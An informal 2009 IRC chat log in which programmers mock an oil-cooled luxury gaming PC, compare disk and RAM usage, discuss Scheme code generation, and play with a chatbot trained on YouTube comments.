ATTEMPT TO GET OIL OFF YOUR HANDS AND FAIL MISERABLY. 16:11:08 USE COMPUTER AS-IS. IT'S HARDCORE. 16:11:23 Plus, what happens if it falls? 16:11:26 I like how they immerse it in oil and then still have to use four fans. 16:11:29 lereah_: "fails"? 16:11:34 I hope you have no carpet 16:11:34 It's meant to touch the components. 16:11:37 Ah. 16:11:38 :P 16:11:49 But seriously, with four fans you could probably watercool the same machine. 16:11:58 Which doesn't involve putting all your components in oil. 16:12:16 Cool it with molten lead 16:12:23 It's conductive! 16:12:27 :-P 16:12:36 Would mercury work well, I wonder? 16:12:36 Wow, this hardcore computing place is ridiculous. 16:12:40 You can buy THREE gtx 285s. 16:12:49 I'm wondering what kind of game needs three. 16:12:54 Or, hell, any task. 16:13:09 Jet simulation? 16:13:16 Iunno 16:13:33 "3 Intel 160GB SSDs in RAID 0" 16:13:52 I'm wondering how you fill up 480GB with an OS drive. 16:14:54 ehird, three in one computer? 16:14:55 Easily, with games. 16:14:58 that sounds strange 16:14:58 AnMaster: yep. 16:15:01 Deewiant: Whaat? 16:15:07 Deewiant: Even Crysis doesn't use that much. 16:15:12 Crysis is one game. 16:15:30 Deewiant: ... running two games at once? 16:15:33 lol wat 16:15:45 if you are going to do multi-screen installation for flightsim with built up cockpit you probably end up using multiple computers, one to render each screen. 16:15:47 No, having two games on disk at once. 16:15:58 Deewiant: Oh, I was talking about the GTXs 16:16:00 rather than three graphics card in one computer 16:16:08 But still, the top games are what, 10GB? 16:16:22 * ehird shrug. 16:16:22 Yeah, these days around that much. 16:16:26 ehird, um? Full scenery for Flightgear is 17 GB iirc 16:16:26 :P 16:16:37 a lot more for xplane and MSFS iirc 16:16:39 Yes, and X-Plane is over 60. 16:16:45 Ouch. 16:16:45 But those aren't the norm. 16:16:46 that much? heh 16:17:03 ehird: That sounds very weird... I've got about 40GB used on my /... 16:17:06 Deewiant: In that case I'd buy an X25-M as a boot drive and a 300GB velociraptor as an apps drive :P 16:17:09 ehird, remember that is scenery for all the world. :P 16:17:20 pikhq: Well, they are immersing this shit in oil. 16:17:21 And that includes headers for everything, source for everything, and binary packages for everything. 16:17:28 pikhq: It's a rather excessive thing already. 16:17:46 ehird: In practice, I'd say around 200GB is enough for OS+apps even with a fair supply of games. 16:17:51 I fail to see how that's excessive. Just very weird. 16:17:59 pikhq: http://hardcorecomputer.com 16:18:08 They're riding on the "THIS IS SO FUCKING EXTREME." marketing wave. 16:18:12 Oh, it's retards. 16:18:23 Deewiant: More than enough. 16:18:38 Really, for just OS+apps, a 50G hard drive can suffice. 16:18:45 * ehird adds 6 of all three monitor types they offer (the max you can get0 16:18:47 *) 16:18:49 pikhq: Not even close. 16:19:06 What, has Windows gone freaking crazy or something? 16:19:09 I've got Linux+Vista taking up 70G currently. 16:19:14 Linux includes apps, Vista doesn't. 16:19:15 ehird: are you trying to see how expensive you can make it? 16:19:19 ais523: yep 16:19:26 I've got Linux taking up 34G.. 16:19:27 $27837 so far 16:19:31 Has anyone played RobotWar or CoreLife? Both are programming games. 16:19:32 Let's see here... 16:19:39 I've played robotwar. 16:19:40 I play Robocode but that's it. 16:19:45 Er, no. 16:19:47 No I haven't. 16:19:48 That includes: binaries, headers, source, binary packages, and C compiler cache. 16:19:50 Ehird: original? 16:19:50 Robocode i've played. 16:19:55 And /tmp. 16:19:56 Oh, okay :-) 16:20:03 ehird, as I said: For built up cockpits with screens covering all of your viewfield outside the cockpit you end up with multiple computers. For example there is a JAS 39 Gripen simulator like that at one of the flight museums in Sweden, powered by a cluster of 8 computers that runs Linux. Simulator software? Custom from SAAB. 16:20:09 pikhq: And 100G for games isn't much, these days. 16:20:20 ehird: Do you have a bot running on the roborumble? 16:20:21 Oh. Damn. 16:20:23 Windows *has* gone apeshit-crazy. 16:20:24 AnMaster: It sounds hilariously unfun to play. 16:20:25 It's a PR stunt from SAAB kind of. 16:20:30 pikhq: 100G for multiple games 16:20:31 not one game 16:20:33 silly :P 16:20:37 Deewiant: no 16:20:42 Meh. 16:20:43 ehird: Oh, okay. 16:20:48 That's only slightly crazy. 16:20:49 Okay 16:20:51 Final price for the 16:20:54 REACTOR EXTREME 16:20:58 $28,796.00 16:21:05 And it only has 4GB of RAM! 16:21:09 Not even an i7! 16:21:14 What a ripoff ;-) 16:21:16 Jeeze. 16:21:25 http://pastie.org/474504.txt?key=9fooyz1aoaayeghiixktfq 16:21:31 The graphics card is HARDCORE-CUSTOMIZED. 16:21:36 $ du -hsc Games 16:21:36 122GGames 16:21:38 So, I could get roughly equal RAM and CPU for $200. 16:21:39 :p 16:21:46 That's not even very many games. 16:21:51 pikhq: Well, it's DDR3. 16:21:55 But yeah. 16:21:59 2 650W power supplies 16:22:06 For redundancy in case you lose your game. 16:22:09 CAN'T HAVE THAT HAPPENING. 16:22:18 The leader is GTA4 at 15G. 16:22:18 'snot even a fuckin' blu ray burner! 16:22:23 In fact it's all rather crap. 16:22:29 ehird, it is very realistic. Though the actual code is of course secret. SAAB made JAS 39 Gripen and it is in service currently in the Swedish Airforce + a few other airforces in different parts of the world. The public simulator thing is a PR stunt I guess. 16:22:30 ~/gameemu/ is 7.6G, and ~/.wine/drive_c is 17G... 16:22:32 ehird: can't you get 8GB RAM computers nowadays? 16:22:37 ais523: 12GB. 16:22:40 I guess I just play very light-weight games? 16:22:43 ah, ok 16:22:44 ais523: Well, up to 128GB. 16:22:46 pikhq: My Vista install sans programs is 37G :-) 16:22:48 ais523: But for desktops, 12GB. 16:22:56 Deewiant: That's just silly. 16:22:56 That's what bsmnt and I willen-havebeen. 16:23:00 pikhq: Yes, Vista is. 16:23:01 ah, I was wondering where you'd get a motherboard you could fit 128GB of ram into 16:23:04 (I'm not up to date on the time travel pronouns). 16:23:19 realistic here meaning: realistic handling, a bit too few screens covering the viewfield to give you the proper experience. 16:23:21 pikhq: how much ram did our $80k have? 16:23:21 That's just the OS, I haven't put anything extra there. 16:23:29 ehird: 128GB. 16:23:32 Right. 16:23:39 Only ddr2 though :-P 16:23:41 Enough to reasonably have the OS in a RAM disk. 16:23:42 ;) 16:23:49 Now THERE'S an idea. 16:24:06 um 16:24:08 what OS? 16:24:09 :P 16:24:19 I should assemble a machine that's the most powerful I can get to blow those hardcore computer assholes out of the water. 16:24:22 I mean, you could have Linux on a ram disk with much much less. 16:24:24 Although it'll probably cost 7 bajillion dollars. 16:24:53 ehird, then the way to go is a cluster 16:24:58 Nah. 16:24:59 Latency. 16:25:04 Anyway, limit one case. 16:25:07 ehird, better connections 16:25:08 :P 16:25:09 And a desktop case. 16:25:15 eATX, of course. 16:25:18 ehird, use that Infiband thingy of course 16:25:21 (spelling?) 16:25:28 Infiniband. 16:25:31 ah 16:26:07 ehird, Also a rack is a type of case :P 16:26:09 blade servers 16:26:12 "Desktop case". 16:26:16 meh 16:26:26 Let's see now... Two i7 965s... 16:26:29 AnMaster: You could without *too* much effort get Linux on a RAM disk with 1G RAM... 16:26:54 http://www.newegg.com/Product/Product.aspx?Item=N82E16819115200 16:26:56 err 16:26:56 pikhq, um, I could get it on a ram disk with 32 MB RAM. Assuming I began using something like DSL 16:26:57 EVGA E759 CLASSIFIED LIMITED EDITION 3-Way SLI (x16) + PhysX w/ECP & NF200 1366 Intel X58 EATX Intel Motherboard - Retail 16:26:57 :P 16:26:59 Excellent! 16:27:02 Aww, only 6 ram slots. 16:27:04 That won't do. 16:27:16 Oh, right, right. 16:27:17 pikhq, In fact 16 MB would be enough I bet. 16:27:17 Oh, it's only one. 16:27:20 I need a server motherboard. 16:27:31 8MB would be enough, actually. 16:27:36 ... hmm, but I also want three gfx carsd in SLI. 16:27:47 pikhq, pikhq all you need is kernel + minimal userland. Meaning busybox 16:27:47 Use a squashfs for your root FS, load the thing from a floppy. 16:27:53 Right. 16:27:54 THIS IS TOO CONFUSING ;;_;; 16:28:09 The kernel itself could be quite minimal. 16:28:36 You wouldn't even need much in the way of drivers... 16:28:41 pikhq, my rather feature-filled x86_64 bzImage is 2.7 MB for 2.6.28. I have a few modules, stuff I rarely use, or stuff built out of tree. 16:29:12 My bzImage is 1.1MB... 16:29:21 Erm. 16:29:26 almost all the stuff built in? 16:29:28 initramfs. 16:29:29 no initramfs? 16:29:37 * AnMaster doesn't use initramfs 16:29:40 My bzImage is 1.8M. 16:30:03 My initramfs has no modules in there; it's there just to set up LVM. 16:30:22 so getting something down on a floppy would be quite possible. You could begin by dropping support for stuff like oprofile. 16:30:22 (you need to run pvscan for the actual device nodes to show up) 16:30:38 and what not 16:30:41 I've done it a few times just for the hell of it. 16:30:43 pikhq, is it x86_64? 16:30:58 Linux frodo 2.6.28-gentoo-r5 #2 PREEMPT Mon Apr 27 12:51:25 CDT 2009 x86_64 AMD Sempron(tm) Processor 2800+ AuthenticAMD GNU/Linux 16:31:02 What do you think? ;) 16:31:05 AnMaster: now, try to get Vista on a RAM disk 16:31:49 ais523, I don't own a copy of vista, no idea how big it is 16:31:56 AnMaster: too big 16:31:57 Huge. 16:32:06 does it still fit on one DVD, by the way? 16:32:20 but you would probably need a few GB of ram at least for XP. + a few more for the actual XP 16:32:26 I think the only OS that could rival it in size is (arguably) Debian. 16:32:28 and I assume Vista is larger 16:32:33 * ais523 wonders why it is that big, given that it comes without drivers and without many applications 16:32:37 If you install everything, that is a huge installation. 16:32:38 well, without any but basic drivers 16:32:55 pikhq: but there's at least one disk space pedant in Debian 16:33:01 lol, it's hard to configure an excessive game machine... since you end up configuring just a regular gaming machine :-D 16:33:06 -!- impomatic has left (?). 16:33:07 damn you gamers and your Poe's Law! 16:33:18 doing things like replacing all the copies of the GPL with a symlink to the centralised copy 16:33:19 ehird, which law is that? 16:33:27 that must save, what, a few tens of KB? 16:33:29 http://rationalwiki.com/wiki/Poe's_Law 16:33:36 Poe's Law states: 16:33:36 “Without a winking smiley or other blatant display of humor, it is impossible to create a parody of Fundamentalism that SOMEONE won't mistake for the real thing. 16:33:48 ais523: What, it's just 1 Bluray disc... 16:33:53 ais523, um more. the GPL is a few tens of KB iirc :P 16:34:00 ;p 16:34:15 ehird, hah 16:39:56 -!- MigoMipo has quit ("QuitIRCServerException: MigoMipo disconnected from IRC Server"). 16:42:28 Deewiant: how big's that base vista install you said 16:42:37 ah 16:42:38 37G 16:42:39 Well, it's not a vanilla base 16:42:47 Since it's been running and updated and used 16:42:57 And includes some stuff in Users/ etc 16:43:01 well yeah 16:43:12 But still, no programs. :-P 16:43:30 (For some values of "no") 16:43:44 quarkadine 16:58:10 AnMaster: you know how you said nobody big would sell a pre-watercooled machine since it'd be too risky? 16:58:13 AnMaster: Dell do. 16:59:22 Lots of companies do. 16:59:34 Deewiant: Dell's the first big company I've seen do it. 16:59:55 ehird, I remember that Apple did 17:00:00 Well, yes. 17:00:02 Apart from them :P 17:01:04 I never said no big company would. Since I knew Apple used to. Though I probably said it was risky and I couldn't see why they did it. AND provided warrandy 17:01:07 warranty* 17:03:01 I'm not sure why it's actually risky. 17:03:07 The fluid used isn't conductive. 17:04:10 -!- oklopol has joined. 17:04:23 AnMaster: why'sit risky? 17:04:41 ehird: because sitting safe is just plain boring 17:04:53 groan 17:05:03 oklopol: oerjan will sue you for violating his intellectual property rights 17:05:52 i prefer to think of myself as his apprentice, so you know, he'll just be proud of my puns getting as bad as his! 17:06:25 btw if a is nilpotent, then 1-a is a unit. 17:06:54 oklopol: wut 17:07:30 i just wanted you to know that 17:08:13 ehird, Q: what is worst that can happen with cooling? A: Cooling fails. Q: What happens when Air cooling fails? A: System begins overheating, detects it and shuts down to prevent damage. Q: What is worst that can happen when water cooling fails? A: Depends on how. Pump failing? Same as aircooling. Water leaking? Fried computer. 17:08:15 oklopol: kk 17:08:22 AnMaster: Fail. 17:08:27 AnMaster: The fluid. Is not. Conductive. 17:08:33 No frying. 17:08:38 ehird, I'm aware of that it is distilled water. 17:08:43 No, that's one option. 17:08:50 You can buy coolant that is non-conductive. 17:09:02 distilled water is not conductive 17:09:07 I know. 17:09:09 that's what I said... 17:09:11 oh 17:09:13 i see! 17:09:17 It was the previous clause of my sentence that applied. 17:10:08 ehird, over time impurities due to wear on the water cooling system will enter the fluid. And if it leaks and there is dust on the mobo that is impure too. Potentially it could end up conductive. 17:10:19 AnMaster: That's why you replace it often enough. 17:10:35 All you're saying is "if you grossly undermaintain your PC it'll break". 17:10:38 Shock, horror. 17:10:40 you could have like fish there, eating the dirt 17:10:42 ehird, Harddrive can fail. That is why you do backups often enough. 17:10:45 or plankton 17:10:53 Seriously, try another one.. 17:10:56 Watercooling can fail. That is why you replace the coolant often enough. 17:11:41 ehird, You trust the users will do it? Users who don't make weekly backups? 17:12:14 (or even better: daily) 17:12:21 ... If the user knows what watercooling is, and doesn't say "WATER + ELECTRONICS? LOL!" they know how it works. 17:12:50 AnMaster: besides, modern coolant only needs replacing once a year, IIRC. 17:14:11 ehird, Yeah it was much worse a few years ago. 17:21:28 Chicken-Shit Asteroid Veers Away At Last Minute. http://www.theonion.com/content/news/chicken_shit_asteroid_veers_away 17:23:40 I want to make a C64 OS O_O 17:23:48 the point that it has driver support 17:24:28 asiekierka: give it a gui 17:24:36 ehird: See "Contiki" 17:24:40 yeah I know 17:24:49 asiekierka: also, take advantage of the crt display to increase the perceived resolution/colours, somehow 17:24:54 crt display? 17:24:55 like subpixel rendering for blurry TVs :-D 17:24:59 yes. 17:25:04 aka a tv 17:25:07 Well, there is a HAX for PAL c64's 17:25:12 that allows you to get 7 extra colors 17:25:26 asiekierka: do that, and also take advantage of the fuzziness to make it look like it's higher-resolution 17:25:38 ehird: I only have a 32 inch LCD TV 17:25:40 that's Full HD 17:25:53 asiekierka: bullshit, go buy a shitty CRT. 17:26:01 ehird: i don't have where to put it 17:26:06 my desk is allocated to be free 17:26:09 on top of your head 17:26:27 -!- lereah_ has quit ("Leaving"). 17:26:27 and my "other PC/TV space" is allocated with the TV, a DVD recorder, a scanner, a laptop and the C64 17:26:29 and gotta go 17:26:33 -!- asiekierka has changed nick to asie[afk]. 17:26:54 bye was fun talking to you 17:27:24 lawl 17:54:00 -!- jix has joined. 18:12:13 ehird, string formatting in R5RS, what is the best way? 18:12:27 AnMaster: Not. 18:12:36 display, write and newline, pretty much. 18:12:50 If it's inconvenient, change your formatting. And try and only use strings at your I/O layer. 18:13:03 hm... I guess file IO will work. 18:13:16 > (string-append "a" "b" "c") 18:13:17 "abc" 18:13:17 (I'm considering how to generate the C code from the program tree) 18:13:19 AnMaster: you may find that useful. 18:13:23 along with number->string and the like 18:13:47 ehird, was thinking how to turn '(add 2 5) into p[2]+=5; 18:13:56 AnMaster: 18:13:58 in the generated output 18:14:00 (case (car x) 18:14:05 ((add) ...)) 18:14:08 I already have that bit 18:14:15 AnMaster: then: 18:14:28 just consider what do add in place of ... :P 18:14:35 (string-append "p[" (number->string (cadr x)) "] += " (number->string (caddr x))) 18:14:45 okay... 18:14:57 can't the numbers be any expressions tho? 18:14:58 nasty, but works 18:15:26 oklopol, polynoms not yet implemented. They might be expressions later. 18:15:34 Depends on when I get bored. 18:15:45 AnMaster: not nasty 18:15:58 AnMaster: you might also want 18:15:59 and yeah how's that nasty, that's the canonical way 18:16:26 ehird, compared to for example python's %, C's snprintf(), erlang's io:format(), and so on it is nasty IMO 18:16:33 AnMaster: (list-ref list k) is the kth element of list 18:16:35 fyi 18:16:51 but use c[ad]+r unless you have a reason not to 18:17:02 ehird, I know that. Just caddar is a lot easier to read :P 18:17:20 that would be nested list-ref 18:17:26 yeah 18:17:43 * ehird rips CD 18:17:54 however I find it confusing that head of second cons cell is cadr not cdar 18:17:55 AnMaster: it does take a bit to get used to scheme's attitude 18:18:00 seems kind of backwards 18:18:04 AnMaster: not really, because 18:18:08 (cadr x) = (car (cdr x)) 18:18:17 it's in the right applicative order 18:18:18 ok. Good point. 18:18:39 AnMaster: note: you only have up to cddddr :-P 18:18:48 library procedure: (caar pair) 18:18:48 library procedure: (cadr pair) 18:18:49 : 18:18:52 library procedure: (cdddar pair) 18:18:55 library procedure: (cddddr pair) 18:18:56 —r5rs 18:19:07 ehird, if I needed that much, the data-structure I'm using is wrong :P 18:19:14 bingo 18:19:22 that's a retarded limitation 18:19:32 lol 18:20:46 ehird, scheme is a very nice language. For knowing. It makes you program better in other languages. But it is not very nice to actually code in. Kind of like LFS is for Linux distros. It is useful to have done it, but you wouldn't want to use it as your everyday system. 18:20:57 I disagree 18:21:05 It's perfectly usable day-to-day, it just takes getting used to 18:21:14 You have to structure your program around Scheme 18:28:53 * AnMaster defines 18:28:55 (define (cell-ref offset) 18:28:55 (string-append "p[" (number->string offset) "]")) 18:29:56 AnMaster: -ref is possibly the wrong name; I'd go for -at 18:30:08 hm 18:30:16 I seem to recall -ref having some sort of defined meaning though it escapes me 18:30:23 and what colour do you want your bike-shed? ;P 18:30:29 AnMaster: cyan 18:30:32 hah 18:30:32 Perhaps it's so that an implementation can extend set! to take places, so you can do (set! (list-ref l k) x) 18:30:38 although I don't have a bike 18:30:40 ais523, I prefer ultramarine. 18:30:48 but yes, it's correct to define such a function 18:30:51 AnMaster: for a bikeshed? Eww! 18:30:56 AnMaster: actually, it's offsetted from the pointer, isn't it? 18:31:03 ehird, yes 18:31:06 cell-offsetted-by, then, or something 18:31:22 not that it terribly matters, just nitpicking style concerns 18:31:25 ehird, then it will break 80 columns, or I need a lot more new-lines 18:31:27 :P 18:31:34 AnMaster: you're meant to do newlines 18:31:44 if you have two or more non-literal subexpressions, pretty mcuh 18:31:45 much 18:31:48 ehird, yes, but not everywhere 18:31:50 and if you have a newline, each subform should go on its own line 18:31:51 do you prefer: 18:31:58 (if (eq? a b) 18:31:59 or 18:32:02 (if 18:32:06 (eq? a b) 18:32:09 AnMaster: That's irrelevant. 18:32:20 If cell-offsetted-by is requiring newlines everywhere you need a new function anyway 18:34:54 um. Behaviour in BF is allowed to be undefined if you < below the first cell right? 18:35:06 Yes... 18:35:10 good. 18:35:17 Wait, offsetted is a stupid name. Make that offset. 18:35:22 * AnMaster skips the range checking 18:36:10 * pikhq is fond of the C way of handling walking off the array. 18:36:15 "You're in random memory!" 18:36:36 (if someone is clever enough, they could write x86 assembly to memory doing that and execute it. :p 18:37:01 pikhq: And you don't want to end up in the middle of invalid memory? 18:37:25 ehird: It's undefined behavior, bitch. ;) 18:37:50 ((Moss: [picks up phone] Hello, IT? Yah-hah? Have you tried forcing an expected reboot? You see the driver hooks the function by patching the system call table, so it's not safe to unload it unless another thread's about to jump in there and do its stuff, and you don't want to end up in the middle of invalid memory. 18:37:51 [laughs] 18:37:54 Moss: Hello? 18:37:55 18:37:57 Editor's note: this is actually the wrong way around.)) 18:38:09 -!- asie[afk] has changed nick to asiekierka. 18:38:14 Back for a mili second 18:38:18 milisecond* 18:38:21 asiekierka: Bye 18:38:24 -!- ais523 has quit. 18:38:24 ehird, source? 18:38:32 AnMaster: The IT Crowd. 18:38:35 well, an ASIE-STANDARD ESOTERIC milisecond 18:38:37 link? 18:38:44 http://en.wikipedia.org/wiki/The_IT_Crowd 18:38:54 which is infinitely long until the one that declared it says that it ended 18:39:11 ehird, link to that specific quote I meant 18:39:25 AnMaster: Err... how am I meant to link to a portion of an episode of a TV show? 18:39:40 I got the transcript from IMDB. 18:40:08 ehird, this is too correct to be on a TV show. On TV it is all about hackers hammering the keyboard and seeing the image of the screen on their face. 18:40:09 ! 18:40:20 :-P 18:41:16 btw, that "see the image of the screen on their face". How is that supposed to work? As far as I know even from CRTs the light is emitted in more than one direction 18:41:21 it isn't a projector! 18:41:26 AnMaster: holoscreens. 18:42:05 AnMaster: And to offset the accuracy of the quote, here's a dose of irony: 18:42:07 "In a first for Channel 4, each episode of the first series was available for download via the station's web site for the seven days preceding its initial TV broadcast. Downloads were only available for UK and Ireland viewers and were supplied in Windows Media Video format. All but the first two episodes were encoded with DRM restrictions." 18:42:09 ehird, that doesn't make sense for non-sci-fi movies though. 18:42:23 and computers in movies generally don't :-P 18:42:40 ehird, but that system call mention did make complete sense! 18:42:51 I assume it is a windows driver 18:42:51 Bit of cognitive dissonance here I see. 18:43:18 ehird, I'm just having a hard time coming to terms with _accurate_ computers on TV... 18:43:23 -!- oklopol has quit (Read error: 60 (Operation timed out)). 18:43:31 Maybe you should have a nice relaxing sleep instead of thinking about it ;-) 18:45:17 -!- jix_ has joined. 18:45:59 -!- Slereah has quit (Read error: 60 (Operation timed out)). 18:48:56 -!- Slereah has joined. 18:51:03 -!- asiekierka has changed nick to asie[afk]. 18:56:11 -!- jix has quit (Read error: 110 (Connection timed out)). 18:56:36 -!- oklopol has joined. 18:56:40 i'm back! 18:56:45 omg 19:00:58 -!- MizardX has quit ("Proclamation of invalidity!"). 19:03:12 -!- MigoMipo has joined. 19:05:24 -!- asie[afk] has changed nick to asiekierka. 19:05:26 I'm back 19:05:34 omg 19:05:51 -!- KingOfKarlsruhe has joined. 19:05:58 lol 19:06:08 fungot: You're back 19:06:08 asiekierka: there is not funny and that they would not have i ' twisted' now? oh, and he maintains that he cycled the throttle quadrant full up and the copilot pierre mazieres ( 10836 flight hours). 19:06:14 oh wait... 19:06:16 ^style 19:06:17 Available: agora alice darwin discworld europarl ff7 fisher ic irc jargon lovecraft nethack pa speeches ss wp youtube* 19:06:24 doh, forgot to turn on the youtube comment style 19:06:28 turn off* 19:07:40 also, the youtube comment method is nice 19:07:57 The Fun Thing About Youtube Comments #1: They can be used to generate new youtube comments! 19:07:58 bye for now, need to let a friend in. 19:08:01 omg 19:08:15 -!- oklopol has quit ("PJIRC @ http://webirk.dy.fi"). 19:12:56 -!- jix_ has quit ("brb"). 19:16:04 -!- jix has joined. 19:20:36 -!- kar8nga has joined. 19:20:56 -!- bsmntbombdood has joined. 19:26:21 I saw an episode of that IT crowd thing the-day-before-yesterday; hadn't even heard about it before. 19:27:26 my computer still isn't here :( 19:27:32 YLE, our local BBC equivalent, is even broadcasting it; but we don't have a television-machine any more. 19:27:38 beider meinhof! 19:27:54 bsmntbombdood: how many times have you ordered stuff online? 19:27:57 it's been en route to commerce city for like a year 19:28:09 ehird: every time, it's exactly like this :P 19:28:23 Yes, well, http://xkcd.com/281/ 19:28:39 bsmntbombdood: i bet you haven't done it much before or you'd expect this :p 19:28:56 I certainly was reloading the package-tracking page of that new router-box every five minutes or so. 19:29:45 err 19:30:06 ehird, in R5RS. What is the name of stdout? I couldn't find it in the spec. 19:30:15 I mean to treat it as a file for IO purposes. 19:30:24 AnMaster: A file? No such thing. Do you want a port? 19:30:35 ehird, that was what I meant. 19:30:43 AnMaster: (current-output-port) 19:31:02 io ports in r[56]rs suck ass 19:31:04 (I don't think you can actually change it in R5RS, heh.) 19:31:06 ehird, basically I want the same code for output to stdout and to a file. And that would work. 19:31:24 ehird: Sure you can; call-with-output-file alters the (current-output-port). 19:31:24 bsmntbombdood: It works ok most of the time. R5RS isn't really designed for IO heavy stuff. 19:31:25 ehird, um, using the other with output thing right? 19:31:30 fizzie: Ah. True enough. 19:31:41 I forgot what those things did. 19:31:55 Also, shouldn't we be like Riastradh? Procedure names are IN-UPPERCASE-ALWAYS. 19:32:38 it does make sense when on irc 19:32:50 and to be fair, he doesn't capitalize them in normal code 19:32:54 he does it in documentation 19:33:07 ehird, Riastradh? 19:33:15 Er, right, I meant with-output-to-file; call-with-output-file is the one that calls the provided procedure with the port as the argument. 19:33:16 AnMaster: Famous #scheme-er. 19:33:19 AnMaster: #scheme's guru 19:33:20 fizzie: ah. 19:33:28 bsmntbombdood: If you can stand him, I guess. 19:33:52 he is much more helpful than zhivago 19:33:57 True enough. 19:34:13 IME reading R5RS & the impl's docs & googling is more helpful than #scheme. 19:34:41 http://community.schemewiki.org/?riastradh has all the known information about him. Well, maybe not quite all. 19:37:52 First Law of #scheme Convo-Dynamics 19:37:53 All conversations eventually degenerate to bot abuse. 19:37:53 Second Law of #scheme Convo-Dynamics 19:37:56 All bot abuse eventually degenerates to yow! 19:37:57 Third Law of #scheme Convo-Dynamics 19:38:02 Never abuse the bots so that they will flood the channel. 19:38:06 We obey the first :-P 19:38:11 And might obey the second if we had a lambdabot. 19:38:16 But #3 is the devil. 19:38:25 sadly fungot has EgoBot blocked 19:38:25 asiekierka: what, even if the plane to land on it it was doing a google search for air france 296. 19:38:33 :-D 19:38:36 a googling plain 19:38:38 *plane 19:38:41 ...stupid youtube comment database 19:38:42 although plain works too 19:38:56 ...for which i already have additions 19:38:58 and plan to add more 19:40:18 fungot: ehird is cool, right? 19:40:19 asiekierka: can't the french government. the autoland is a list of plane at the station, then i am wrong, but this was not programmed into the conversation is that there were 130 passengers for one of their planes crash cuz autopilot cantot be overided controled remotly. it was not ' wud', and he never married and always hung out around guys. 19:40:37 -!- MizardX has joined. 19:40:43 First Law of YouTube Comments (Schrodinger's Comment): 19:40:56 Before you read a Youtube comment, it's in a state of both good and bad. 19:41:00 Second Law of YouTube Comments: 19:41:09 Combining YouTube Comments creates a new YouTube Comment. 19:41:26 Third Law of YouTube Comments: 19:41:33 They create great bot databases, thanks to law #2 19:41:43 fungot: A320-111 19:41:43 asiekierka: search google for " remote controlled, they scramble when ever anyone brings up a little over 3,000. granted, any crash is unacceptable but i think 19:41:54 I rather like the Fisher transcribed telephone speech corpus; at least it sounds like conversation. 19:41:57 ^style 19:41:57 Available: agora alice darwin discworld europarl ff7 fisher ic irc jargon lovecraft nethack pa speeches ss wp youtube* 19:42:01 ^style ff8 19:42:02 Not found. 19:42:03 aww 19:42:13 fungot: 136 occupants 19:42:15 I only had the script for FF7. 19:42:19 aww 19:42:25 oh 19:42:28 ^style youtube 19:42:29 Selected style: youtube (Some YouTube comments) 19:42:45 and fizzie, should I send you the better version of the YouTube Comment pack (150kb larger) 19:42:48 fizzie: grep -r '.* [\d:]+ .*' | maekfungotdb 19:42:48 ehird: lol that was flippen hilarious! i guess its a plane 19:42:54 fungot: :DD 19:42:54 ehird: we all know this accident is similar to the families of the majority survived. 19:42:57 Sure, if you want it updated. 19:42:57 fungot: :DD 19:42:58 ehird: but there is no way similar to the plane 19:43:05 AND the "Map the 64" one with the :: Blah :: stuff removed 19:43:07 fungot: indeed. just like buddha 19:43:07 ehird: lmfao! xd lol!! :) the speed bled off. i'm going to fly was changed at the trees. 19:44:23 "EU to Charge Intel with Anti-Competitive Acts" 19:44:24 "AMSTERDAM (Reuters) - EU antitrust regulators are expected to say this week that Intel Corp illegally paid computer makers to postpone or cancel the launch of products containing chips made by its main rival, sources familiar with the case said on Sunday. " 19:44:27 o_O 19:45:08 "In committing the first violation, Intel set percentages of its own chips that it wanted PC makers to use, the sources said. " Correct me if I'm wrong, but didn't the makers _agree_? 19:45:59 currently at 398kb 19:46:16 asiekierka: just screenscrape yt 19:46:50 well, i'm just copying the whole text 19:46:55 then removing the beginning and the end 19:46:57 then running sed 3 times 19:46:58 ... 19:47:02 formatting different stuff 19:47:04 just automate it with a script. 19:47:07 ehird: Oh 19:47:09 :P 19:50:31 ok 19:50:34 the script is done 19:50:40 yt_format.bat input_file output_file 19:51:14 asiekierka: automate the loading of the pages and extracting the comments too 19:51:15 dur 19:51:20 ehird: too lazy 19:51:28 ... it saves work 19:51:29 maybe if I'm bored 19:51:43 well, actually, nah 19:52:48 456kb 19:53:01 6304 lines 19:54:39 476kb now 19:55:07 ok, the last bundle, 126 comments 19:55:11 before "v2" of YouTube style comes 19:55:35 If you have any specific requests for comments from videos 19:55:40 if you think they're useful or just funny 19:55:42 do it now 19:56:25 "No Inverses for Injective but Non-Surjective Functions?" 19:57:02 there's no movie like it 19:57:05 i wanted... links 19:57:25 i'm taking comments from a variety of videos 19:57:36 I'm not talking about that 19:57:42 oh 19:57:43 so, uh 19:57:47 sending v2 to fizzie 19:58:54 along with the C64 style 19:58:54 done 19:58:56 -!- asiekierka has changed nick to asie[brb]. 20:05:33 Well, there's an updated juutuubery style in fungot now. 20:05:33 fizzie: rotfl!! 20:05:44 fungot: It's not that funny, really. 20:05:45 fizzie: lol wow that was shooting at it" and enjoy knowledge. or if its a retard! controlled crash 20:05:49 fungot: Be a jew. 20:05:49 ehird: i thought it would). its a terrorst training video we better get gwb on to another crash 20:05:57 we better get gwb on to another crash? 20:06:03 That sounds post-treasonist, fungot. 20:06:04 ehird: scary...... i got tits up on the ' tenor' roles... no matter what she wants to be a tomboy and then whazamm first language eitherl, so, then it's trying to land, gear down at an airshow 20:06:39 As far as I can tell, it is rather youtube indeed. 20:09:17 The C64 text is again tricky since it doesn't have clear separation between paragraphs; if I just feed it as-is, it learns the line-breaks as reasonable spots for starting/stopping a quote, and then it is very abrupt. For book-use I should probably have a script that'd heuristize sentences based on plausible "."s and put START/END tokens in place with that. 20:10:15 oh 20:10:20 oh well then 20:10:34 ^style 20:10:34 Available: agora alice darwin discworld europarl ff7 fisher ic irc jargon lovecraft nethack pa speeches ss wp youtube* 20:10:36 ^style youtube 20:10:36 Selected style: youtube (Some YouTube comments) 20:10:43 fungot: Heh 20:10:43 asie[brb]: yeah, that was insane!! try to be so hard on ed he really can go into a forest at over 200mph? wikipedia should not be allowed to show that the movie 20:10:56 It does seem to have a two-space indentation at the start of most paragraphs, maybe I could use that. 20:11:12 fizzie: and yes it IS youtube comments 20:11:27 ouch 20:11:28 feel free to add more 20:11:30 oh wait 20:11:41 fizzie, how many did you base it on 20:11:53 AnMaster: I made the youtube style thing 20:11:59 well 20:12:02 based on how many? 20:12:07 And I don't know but it has about 6878 lines ATM 20:12:14 .. 20:12:14 many are newlines though 20:12:14 AnMaster: not many. He did it manually. 20:12:17 so i'd say about 6000 20:12:24 ehird, to bad 20:12:26 too* 20:12:31 Yes, he did it to bad. 20:12:39 i will add more over time though 20:12:46 asie[brb], you should be able to script it, parsing the html 20:12:50 I may 20:12:50 That's some 500k of text, still; it's not the smallest language model there is. 20:12:57 fizzie: 